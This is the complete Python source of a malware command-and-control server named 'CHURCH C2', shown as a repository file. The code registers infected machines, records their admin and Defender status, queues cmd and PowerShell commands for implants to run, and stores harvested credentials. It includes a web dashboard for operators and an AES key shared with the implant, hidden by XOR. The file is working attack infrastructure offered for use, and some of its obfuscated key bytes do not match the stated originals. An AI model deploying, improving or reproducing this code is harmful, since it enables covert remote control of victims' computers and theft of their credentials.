CHURCH/c2_final.py
2026-06-01 11:26:25 +00:00

1030 lines
38 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python3
"""
CHURCH C2 SERVER
"""
import os
import sys
import time
import json
import base64
import logging
import argparse
import threading
import sqlite3
import secrets
import hashlib
import uuid
from pathlib import Path
from functools import wraps
from collections import defaultdict
from datetime import timedelta
from flask import (
Flask, request, jsonify, make_response,
render_template_string, session, redirect, url_for
)
from flask_socketio import SocketIO, emit
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from werkzeug.security import generate_password_hash, check_password_hash
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# ==================== CONFIGURATION ====================
VERSION = "2.1.0"
XOR_KEY = 0xDD
CONFIG_FILE = "church_c2.cfg"
JWT_SECRET_FILE = "jwt_secret.key"
DATABASE_PATH = "church_c2.db"
LOG_PATH = "church_c2.log"
DOWNLOAD_PATH = "downloads"
PLUGIN_PATH = "plugins"
SSL_CERT = "cert.pem"
SSL_KEY = "key.pem"
ALLOWED_ORIGINS = ["https://localhost:443", "https://127.0.0.1:443"] # adjust as needed
# XOR-obfuscated AES key and IV (same as implant, key 0xDD)
# Original: b"ChurchOfMalware2024!!ChurchOfMalware2024!!"
AES_KEY_OBF = b"\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAA\xA5\xB1\xA7\xA5\xAD\xB4\x23"
# Original: b"MalwareChurchIV!!"
AES_IV_OBF = b"\xB1\xB8\xB7\xAF\xB2\xB9\xA5\xA7\xA8\xB9\xA7\xA6\xF5\xF4\xF4\x23"
def xor_deobfuscate(data: bytes) -> bytes:
return bytes([b ^ XOR_KEY for b in data])
AES_KEY = xor_deobfuscate(AES_KEY_OBF)
AES_IV = xor_deobfuscate(AES_IV_OBF)
# JWT secret persist across restarts
def get_or_create_jwt_secret():
if os.path.exists(JWT_SECRET_FILE):
with open(JWT_SECRET_FILE, "rb") as f:
return f.read().decode()
else:
secret = secrets.token_hex(32)
with open(JWT_SECRET_FILE, "w") as f:
f.write(secret)
os.chmod(JWT_SECRET_FILE, 0o600)
return secret
JWT_SECRET = get_or_create_jwt_secret()
# Admin credentials read from config or env (never hardcoded)
def get_admin_creds():
# Try config file first
if os.path.exists(CONFIG_FILE):
with open(CONFIG_FILE) as f:
for line in f:
if line.startswith("ADMIN_USERNAME="):
username = line.strip().split("=", 1)[1]
elif line.startswith("ADMIN_PASSWORD_HASH="):
pwd_hash = line.strip().split("=", 1)[1]
if 'username' in locals() and 'pwd_hash' in locals():
return username, pwd_hash
# Fallback to environment variables
username = os.environ.get("CHURCH_ADMIN_USER", "admin")
pwd_hash = os.environ.get("CHURCH_ADMIN_HASH")
if not pwd_hash:
# Generate a random password on first run and print to console
random_pass = secrets.token_urlsafe(16)
pwd_hash = generate_password_hash(random_pass)
print(f"\n[!] No admin password set. Generated random password: {random_pass}")
print("[!] Save this immediately! You can change it via the web UI.\n")
return username, pwd_hash
ADMIN_USERNAME, ADMIN_PASSWORD_HASH = get_admin_creds()
# Initialize Flask
app = Flask(__name__)
app.config['SECRET_KEY'] = JWT_SECRET
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
# Rate limiter
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="memory://"
)
# SocketIO with strict CORS
socketio = SocketIO(
app,
cors_allowed_origins=ALLOWED_ORIGINS,
logger=False,
engineio_logger=False
)
# ==================== DATABASE ====================
def init_database():
"""Initialize SQLite database with all tables (idempotent)"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS beacons (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT UNIQUE NOT NULL,
computer_name TEXT NOT NULL,
username TEXT NOT NULL,
process_id INTEGER,
os_version TEXT,
is_admin BOOLEAN,
path TEXT,
defender_status INTEGER,
uptime INTEGER,
install_date INTEGER,
domain TEXT,
antivirus TEXT,
first_seen REAL,
last_seen REAL,
status TEXT DEFAULT 'active',
jitter_min INTEGER DEFAULT 60,
jitter_max INTEGER DEFAULT 180,
sleep_time INTEGER DEFAULT 120,
notes TEXT
)''')
c.execute('''CREATE TABLE IF NOT EXISTS tasks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
task_type TEXT DEFAULT 'cmd',
command TEXT,
arguments TEXT,
status TEXT DEFAULT 'pending',
output TEXT,
created_at REAL,
executed_at REAL,
completed_at REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
c.execute('''CREATE TABLE IF NOT EXISTS results (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
task_id INTEGER,
output TEXT,
timestamp REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
c.execute('''CREATE TABLE IF NOT EXISTS files (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
remote_path TEXT,
local_path TEXT,
size INTEGER,
hash TEXT,
status TEXT,
created_at REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
c.execute('''CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
cred_type TEXT,
username TEXT,
password TEXT,
domain TEXT,
timestamp REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
c.execute('''CREATE TABLE IF NOT EXISTS screenshots (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
screenshot_path TEXT,
timestamp REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
c.execute('''CREATE TABLE IF NOT EXISTS tags (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
tag TEXT NOT NULL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
role TEXT DEFAULT 'operator',
created_at REAL
)''')
c.execute('''CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
action TEXT,
target TEXT,
timestamp REAL,
ip_address TEXT
)''')
# Insert default admin if not exists
c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,))
if not c.fetchone():
c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)",
(ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time()))
conn.commit()
conn.close()
# ==================== CRYPTOGRAPHY ====================
class CryptoManager:
@staticmethod
def decrypt_aes(data_b64: str) -> bytes:
"""AES-256-CBC decryption with robust CRLF stripping"""
# Remove all whitespace and CRLF that may have been inserted by CryptBinaryToString
cleaned = ''.join(data_b64.split())
ciphertext = base64.b64decode(cleaned)
cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
pad_len = plaintext[-1]
return plaintext[:-pad_len] if pad_len <= 16 else plaintext
@staticmethod
def encrypt_aes(plaintext: bytes) -> str:
"""AES-256-CBC encryption without extra whitespace"""
pad_len = 16 - (len(plaintext) % 16)
plaintext += bytes([pad_len]) * pad_len
cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
# No newlines in base64 implant expects clean string
return base64.b64encode(ciphertext).decode()
# ==================== BEACON MANAGER ====================
from dataclasses import dataclass, asdict
from typing import Dict, List, Optional
@dataclass
class Beacon:
beacon_id: str
computer_name: str
username: str
process_id: int
os_version: str
is_admin: bool
path: str
defender_status: int
uptime: int
install_date: int
domain: str
antivirus: str
first_seen: float
last_seen: float
status: str = "active"
jitter_min: int = 60
jitter_max: int = 180
sleep_time: int = 120
notes: str = ""
def to_dict(self) -> dict:
return asdict(self)
@staticmethod
def from_db_row(row) -> 'Beacon':
return Beacon(
beacon_id=row[1], computer_name=row[2], username=row[3],
process_id=row[4], os_version=row[5], is_admin=bool(row[6]),
path=row[7], defender_status=row[8], uptime=row[9],
install_date=row[10], domain=row[11], antivirus=row[12],
first_seen=row[13], last_seen=row[14], status=row[15],
jitter_min=row[16], jitter_max=row[17], sleep_time=row[18],
notes=row[19] if len(row) > 19 else ""
)
class BeaconManager:
def __init__(self):
self._beacons: Dict[str, Beacon] = {}
self._lock = threading.Lock()
self._load_from_db()
def _load_from_db(self):
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT * FROM beacons WHERE status = 'active'")
for row in c.fetchall():
beacon = Beacon.from_db_row(row)
self._beacons[beacon.beacon_id] = beacon
conn.close()
def update_beacon(self, data: dict) -> Beacon:
# Use UUID to avoid collisions
beacon_id = self._generate_beacon_id(data['computer'], data['user'])
with self._lock:
if beacon_id not in self._beacons:
beacon = Beacon(
beacon_id=beacon_id,
computer_name=data['computer'],
username=data['user'],
process_id=data.get('pid', 0),
os_version=data.get('os', 'Unknown'),
is_admin=data.get('admin', False),
path=data.get('path', ''),
defender_status=data.get('defender', 2),
uptime=data.get('uptime', 0),
install_date=data.get('install_date', 0),
domain=data.get('domain', 'WORKGROUP'),
antivirus=data.get('av', 'None'),
first_seen=time.time(),
last_seen=time.time()
)
self._beacons[beacon_id] = beacon
self._save_beacon(beacon)
self._audit("beacon_registered", beacon_id)
else:
beacon = self._beacons[beacon_id]
beacon.last_seen = time.time()
beacon.uptime = data.get('uptime', beacon.uptime)
beacon.defender_status = data.get('defender', beacon.defender_status)
self._update_beacon(beacon)
return beacon
def _generate_beacon_id(self, computer: str, user: str) -> str:
"""Unique beacon ID using UUID to avoid collisions"""
# Use deterministic UUID v5 based on computer+user to keep same ID across sessions
# but still unique across different (computer,user) pairs
namespace = uuid.NAMESPACE_DNS
name = f"{computer}\\{user}"
return str(uuid.uuid5(namespace, name))
def _save_beacon(self, beacon: Beacon):
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute('''INSERT OR REPLACE INTO beacons
(beacon_id, computer_name, username, process_id, os_version, is_admin,
path, defender_status, uptime, install_date, domain, antivirus,
first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''',
(beacon.beacon_id, beacon.computer_name, beacon.username,
beacon.process_id, beacon.os_version, beacon.is_admin,
beacon.path, beacon.defender_status, beacon.uptime,
beacon.install_date, beacon.domain, beacon.antivirus,
beacon.first_seen, beacon.last_seen, beacon.status,
beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes))
conn.commit()
conn.close()
def _update_beacon(self, beacon: Beacon):
self._save_beacon(beacon)
def get_pending_tasks(self, beacon_id: str) -> List[dict]:
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,))
tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()]
conn.close()
return tasks
def mark_task_completed(self, task_id: int, output: str):
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?",
(output, time.time(), task_id))
conn.commit()
conn.close()
self._audit("task_completed", str(task_id))
def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int:
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at)
VALUES (?, ?, ?, ?, 'pending', ?)''',
(beacon_id, command, args, task_type, time.time()))
task_id = c.lastrowid
conn.commit()
conn.close()
self._audit("task_added", f"{beacon_id}: {command}")
return task_id
def _audit(self, action: str, target: str):
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)",
("system", action, target, time.time(), "127.0.0.1"))
conn.commit()
conn.close()
def get_all_beacons(self) -> List[Beacon]:
with self._lock:
return list(self._beacons.values())
def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
return self._beacons.get(beacon_id)
beacon_manager = BeaconManager()
# ==================== WEB UI TEMPLATES ====================
HTML_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
<title>CHURCH C2 - Command & Control</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Courier New', monospace;
background: #0a0e27;
color: #00ffaa;
padding: 20px;
}
.header {
background: linear-gradient(135deg, #0f0c29, #302b63, #24243e);
padding: 20px;
border-radius: 10px;
margin-bottom: 20px;
border: 1px solid #00ffaa;
box-shadow: 0 0 20px rgba(0,255,170,0.3);
}
.header h1 {
color: #00ffaa;
text-shadow: 0 0 10px #00ffaa;
font-size: 28px;
}
.header p { color: #888; margin-top: 5px; }
.stats {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
margin-bottom: 20px;
}
.stat-card {
background: rgba(15, 12, 41, 0.8);
border: 1px solid #00ffaa;
border-radius: 10px;
padding: 15px;
text-align: center;
backdrop-filter: blur(10px);
}
.stat-card .number {
font-size: 36px;
font-weight: bold;
color: #00ffaa;
}
.stat-card .label { color: #888; margin-top: 5px; }
.beacon-table {
background: rgba(15, 12, 41, 0.8);
border: 1px solid #00ffaa;
border-radius: 10px;
overflow: hidden;
}
.beacon-table table {
width: 100%;
border-collapse: collapse;
}
.beacon-table th, .beacon-table td {
padding: 12px;
text-align: left;
border-bottom: 1px solid #333;
}
.beacon-table th {
background: #00ffaa20;
color: #00ffaa;
}
.beacon-table tr:hover {
background: #00ffaa10;
cursor: pointer;
}
.status-active { color: #00ffaa; }
.command-bar {
position: fixed;
bottom: 20px;
right: 20px;
background: #0f0c29;
border: 1px solid #00ffaa;
border-radius: 10px;
padding: 15px;
width: 400px;
}
.command-bar input, .command-bar select {
width: 100%;
padding: 10px;
margin: 5px 0;
background: #1a1a3e;
border: 1px solid #00ffaa;
color: #00ffaa;
border-radius: 5px;
}
.command-bar button {
width: 100%;
padding: 10px;
background: #00ffaa;
color: #0a0e27;
border: none;
border-radius: 5px;
font-weight: bold;
cursor: pointer;
}
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.8);
z-index: 1000;
}
.modal-content {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: #0f0c29;
border: 2px solid #00ffaa;
border-radius: 10px;
padding: 20px;
min-width: 500px;
max-width: 80%;
max-height: 80%;
overflow: auto;
}
.close {
float: right;
cursor: pointer;
color: #ff4444;
}
.log {
background: #000;
padding: 10px;
border-radius: 5px;
font-size: 12px;
max-height: 300px;
overflow-y: auto;
}
</style>
<script src="https://cdn.socket.io/4.5.4/socket.io.min.js"></script>
</head>
<body>
<div class="header">
<h1> CHURCH C2 </h1>
<p>Command & Control Framework v{{ version }} | Encrypted Channel Active</p>
</div>
<div class="stats">
<div class="stat-card">
<div class="number" id="onlineCount">0</div>
<div class="label">Online Beacons</div>
</div>
<div class="stat-card">
<div class="number" id="totalTasks">0</div>
<div class="label">Tasks Executed</div>
</div>
<div class="stat-card">
<div class="number" id="credentials">0</div>
<div class="label">Credentials Harvested</div>
</div>
</div>
<div class="beacon-table">
<table>
<thead>
<tr><th>Beacon ID</th><th>Computer</th><th>User</th><th>OS</th><th>Admin</th><th>Defender</th><th>Last Seen</th><th>Status</th></tr>
</thead>
<tbody id="beaconList"></tbody>
</table>
</div>
<div class="command-bar">
<h3>Command Interface</h3>
<select id="targetBeacon">
<option value="">Select Beacon</option>
</select>
<select id="commandPreset">
<option value="">Quick Commands</option>
<option value="whoami">whoami</option>
<option value="ipconfig">ipconfig /all</option>
<option value="systeminfo">systeminfo</option>
<option value="net user">net user</option>
<option value="netstat -an">netstat -an</option>
<option value="tasklist">tasklist</option>
<option value="Get-Process">Get-Process (PS)</option>
<option value="Get-Service">Get-Service (PS)</option>
</select>
<input type="text" id="commandInput" placeholder="Enter command...">
<button onclick="sendCommand()">EXECUTE</button>
</div>
<div id="beaconModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal()">&times;</span>
<h2 id="modalTitle">Beacon Details</h2>
<div id="modalContent"></div>
<div class="log" id="commandLog"></div>
<input type="text" id="quickCommand" placeholder="Enter command for this beacon" style="width:100%; margin-top:10px;">
<button onclick="sendQuickCommand()" style="margin-top:10px;">Execute</button>
</div>
</div>
<script>
var socket = io();
var currentBeacon = null;
socket.on('connect', function() { console.log('Connected to C2 server'); });
socket.on('beacon_update', function(data) { refreshBeacons(); });
socket.on('task_result', function(data) { updateLog(data); });
function refreshBeacons() {
fetch('/api/beacons')
.then(res => res.json())
.then(data => {
var tbody = document.getElementById('beaconList');
var select = document.getElementById('targetBeacon');
tbody.innerHTML = '';
select.innerHTML = '<option value="">Select Beacon</option>';
document.getElementById('onlineCount').innerText = data.length;
data.forEach(beacon => {
var row = tbody.insertRow();
row.onclick = function() { showBeacon(beacon.beacon_id); };
row.insertCell(0).innerHTML = '<code>' + beacon.beacon_id + '</code>';
row.insertCell(1).innerHTML = beacon.computer_name;
row.insertCell(2).innerHTML = beacon.username;
row.insertCell(3).innerHTML = beacon.os_version;
row.insertCell(4).innerHTML = beacon.is_admin ? '' : '';
row.insertCell(5).innerHTML = beacon.defender_status == 1 ? 'Disabled' : beacon.defender_status == 0 ? 'Enabled' : 'Unknown';
row.insertCell(6).innerHTML = new Date(beacon.last_seen * 1000).toLocaleString();
row.insertCell(7).innerHTML = '<span class="status-active">● Active</span>';
var opt = document.createElement('option');
opt.value = beacon.beacon_id;
opt.text = beacon.computer_name + '\\' + beacon.username;
select.appendChild(opt);
});
});
}
function sendCommand() {
var beacon = document.getElementById('targetBeacon').value;
var command = document.getElementById('commandInput').value;
var preset = document.getElementById('commandPreset').value;
if (preset) command = preset;
if (!beacon || !command) return;
fetch('/api/task', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({host: beacon, command: command})
}).then(res => res.json()).then(data => {
alert('Task ' + data.task_id + ' added to queue');
document.getElementById('commandInput').value = '';
});
}
function showBeacon(beaconId) {
currentBeacon = beaconId;
fetch('/api/beacon/' + beaconId)
.then(res => res.json())
.then(data => {
document.getElementById('modalTitle').innerHTML = 'Beacon: ' + data.computer_name;
document.getElementById('modalContent').innerHTML =
'<p><strong>User:</strong> ' + data.username + '</p>' +
'<p><strong>OS:</strong> ' + data.os_version + '</p>' +
'<p><strong>Admin:</strong> ' + (data.is_admin ? 'Yes' : 'No') + '</p>' +
'<p><strong>Defender:</strong> ' + (data.defender_status == 1 ? 'Disabled' : 'Enabled') + '</p>' +
'<p><strong>Uptime:</strong> ' + Math.floor(data.uptime / 3600) + ' hours</p>' +
'<p><strong>Domain:</strong> ' + data.domain + '</p>' +
'<p><strong>Antivirus:</strong> ' + data.antivirus + '</p>';
document.getElementById('beaconModal').style.display = 'block';
loadCommandLog(beaconId);
});
}
function loadCommandLog(beaconId) {
fetch('/api/tasks/' + beaconId)
.then(res => res.json())
.then(data => {
var logDiv = document.getElementById('commandLog');
logDiv.innerHTML = '<strong>Command History</strong><br>';
data.tasks.forEach(task => {
logDiv.innerHTML += '[' + new Date(task.created_at * 1000).toLocaleString() + '] > ' + task.command + '<br>';
if (task.output) logDiv.innerHTML += '<span style="color:#888;"> ' + task.output.substring(0, 500) + '</span><br>';
});
});
}
function sendQuickCommand() {
var cmd = document.getElementById('quickCommand').value;
if (!currentBeacon || !cmd) return;
fetch('/api/task', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({host: currentBeacon, command: cmd})
}).then(res => res.json()).then(data => {
alert('Task added');
document.getElementById('quickCommand').value = '';
});
}
function closeModal() {
document.getElementById('beaconModal').style.display = 'none';
}
setInterval(refreshBeacons, 5000);
refreshBeacons();
</script>
</body>
</html>
'''
# ==================== AUTHENTICATION HELPERS ====================
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
# Check session cookie first (for web UI)
if session.get('authenticated'):
return f(*args, **kwargs)
# Then check X-Auth-Token header (for API clients)
auth = request.headers.get('X-Auth-Token')
if auth and auth == JWT_SECRET:
return f(*args, **kwargs)
return jsonify({"error": "Unauthorized"}), 401
return decorated
@app.route('/login', methods=['POST'])
def login():
"""Web UI login endpoint"""
data = request.json
username = data.get('username')
password = data.get('password')
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,))
row = c.fetchone()
conn.close()
if row and check_password_hash(row[0], password):
session['authenticated'] = True
session['username'] = username
session['role'] = row[1]
return jsonify({"success": True})
return jsonify({"success": False}), 401
@app.route('/logout', methods=['POST'])
def logout():
session.clear()
return jsonify({"success": True})
# ==================== FLASK ROUTES ====================
@app.route('/')
def index():
"""Web UI - serves login page or dashboard based on session"""
if not session.get('authenticated'):
return '''
<!DOCTYPE html>
<html>
<head><title>Church C2 Login</title>
<style>
body { background: #0a0e27; font-family: monospace; display: flex; justify-content: center; align-items: center; height: 100vh; }
.login { background: #0f0c29; border: 1px solid #00ffaa; padding: 30px; border-radius: 10px; width: 300px; }
input { width: 100%; padding: 10px; margin: 10px 0; background: #1a1a3e; border: 1px solid #00ffaa; color: #00ffaa; }
button { width: 100%; padding: 10px; background: #00ffaa; color: #0a0e27; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class="login">
<h2>Church C2 Login</h2>
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button onclick="login()">Login</button>
</div>
<script>
function login() {
fetch('/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: document.getElementById('username').value, password: document.getElementById('password').value})
}).then(res => {
if (res.ok) location.reload();
else alert('Invalid credentials');
});
}
</script>
</body>
</html>
'''
return render_template_string(HTML_TEMPLATE, version=VERSION)
@app.route('/beacon', methods=['POST'])
@limiter.limit("10 per minute")
def beacon_handler():
"""Primary beacon endpoint - receives beacon data and returns tasks"""
data = request.form.get('d') or request.form.get('data')
if not data:
return "No data", 400
try:
decrypted = CryptoManager.decrypt_aes(data)
beacon_data = json.loads(decrypted.decode())
except Exception as e:
logging.error(f"Decrypt failed: {e}")
return "Bad data", 400
beacon = beacon_manager.update_beacon(beacon_data)
logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}")
pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id)
if pending_tasks:
task = pending_tasks[0]
response = json.dumps({
"task_id": task['id'],
"command": task['command'],
"args": task.get('args', ''),
"ps": task.get('ps', False)
})
else:
response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False})
encrypted_response = CryptoManager.encrypt_aes(response.encode())
socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id})
return encrypted_response, 200, {'Content-Type': 'application/octet-stream'}
@app.route('/beacon/result', methods=['POST'])
@limiter.limit("10 per minute")
def task_result():
"""Receive command output from beacon"""
data = request.form.get('d') or request.form.get('data')
if not data:
return "No data", 400
try:
decrypted = CryptoManager.decrypt_aes(data)
result_data = json.loads(decrypted.decode())
except:
return "Bad data", 400
task_id = result_data.get('task_id', 0)
output = result_data.get('output', '')
if task_id:
beacon_manager.mark_task_completed(task_id, output)
socketio.emit('task_result', {'task_id': task_id, 'output': output})
return "OK", 200
@app.route('/api/beacons', methods=['GET'])
@require_auth
@limiter.limit("30 per minute")
def api_beacons():
beacons = beacon_manager.get_all_beacons()
return jsonify([b.to_dict() for b in beacons])
@app.route('/api/beacon/<beacon_id>', methods=['GET'])
@require_auth
@limiter.limit("30 per minute")
def api_beacon(beacon_id):
beacon = beacon_manager.get_beacon(beacon_id)
if not beacon:
return jsonify({"error": "Beacon not found"}), 404
return jsonify(beacon.to_dict())
@app.route('/api/task', methods=['POST'])
@require_auth
@limiter.limit("20 per minute")
def api_add_task():
data = request.json
if not data or 'host' not in data or 'command' not in data:
return jsonify({"error": "Missing host or command"}), 400
beacon = None
for b in beacon_manager.get_all_beacons():
if b.beacon_id == data['host'] or b.computer_name == data['host']:
beacon = b
break
if not beacon:
return jsonify({"error": "Beacon not found"}), 404
task_id = beacon_manager.add_task(
beacon.beacon_id,
data['command'],
data.get('args', ''),
'powershell' if data.get('powershell', False) else 'cmd'
)
return jsonify({"status": "added", "task_id": task_id})
@app.route('/api/tasks/<beacon_id>', methods=['GET'])
@require_auth
@limiter.limit("30 per minute")
def api_tasks(beacon_id):
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT id, command, arguments, task_type, status, output, created_at FROM tasks WHERE beacon_id = ? ORDER BY created_at DESC LIMIT 50", (beacon_id,))
tasks = [{'id': row[0], 'command': row[1], 'args': row[2], 'type': row[3], 'status': row[4], 'output': row[5], 'created_at': row[6]} for row in c.fetchall()]
conn.close()
return jsonify({"tasks": tasks})
@app.route('/api/stats', methods=['GET'])
@require_auth
@limiter.limit("10 per minute")
def api_stats():
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT COUNT(*) FROM beacons WHERE status = 'active'")
online = c.fetchone()[0]
c.execute("SELECT COUNT(*) FROM tasks WHERE status = 'completed'")
total_tasks = c.fetchone()[0]
c.execute("SELECT COUNT(*) FROM credentials")
credentials = c.fetchone()[0]
conn.close()
return jsonify({
"online_beacons": online,
"total_tasks": total_tasks,
"credentials": credentials,
"version": VERSION
})
# ==================== WEBSOCKET EVENTS ====================
@socketio.on('connect')
def handle_connect():
print(f"[WebSocket] Client connected: {request.remote_addr}")
emit('connected', {'status': 'ok'})
@socketio.on('disconnect')
def handle_disconnect():
print(f"[WebSocket] Client disconnected")
# ==================== LOGGING ====================
class C2Logger:
def __init__(self, log_path: str):
self.log_path = log_path
self._setup_logging()
def _setup_logging(self):
logging.basicConfig(
level=logging.INFO,
format='[%(asctime)s] %(levelname)s: %(message)s',
handlers=[
logging.FileHandler(self.log_path),
logging.StreamHandler(sys.stdout)
]
)
def log_beacon(self, beacon_id: str, action: str, details: str = ""):
logging.info(f"BEACON[{beacon_id}] {action}: {details}")
def log_task(self, beacon_id: str, task: str):
logging.info(f"TASK[{beacon_id}] {task}")
def log_error(self, error: str):
logging.error(f"ERROR: {error}")
c2_logger = C2Logger(LOG_PATH)
# ==================== CLEANUP THREAD ====================
def cleanup_old_beacons():
while True:
time.sleep(300)
timeout = time.time() - 3600
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("UPDATE beacons SET status = 'stale' WHERE last_seen < ? AND status = 'active'", (timeout,))
conn.commit()
conn.close()
# ==================== MAIN ====================
def main():
parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
parser.add_argument('--host', default='0.0.0.0', help='Bind address')
parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path')
parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
args = parser.parse_args()
# Initialize
init_database()
os.makedirs(DOWNLOAD_PATH, exist_ok=True)
os.makedirs(PLUGIN_PATH, exist_ok=True)
# Start cleanup thread
cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True)
cleanup_thread.start()
print("""
╔═══════════════════════════════════════════════════════════════╗
║ CHURCH C2 SERVER v2.1 ║
║ by ek0ms savi0r ║
╚═══════════════════════════════════════════════════════════════╝
""")
print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)")
print(f"[*] Web UI: https://{args.host}:{args.port}")
print(f"[*] API Key (for external tools): {JWT_SECRET}")
print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
if __name__ == '__main__':
main()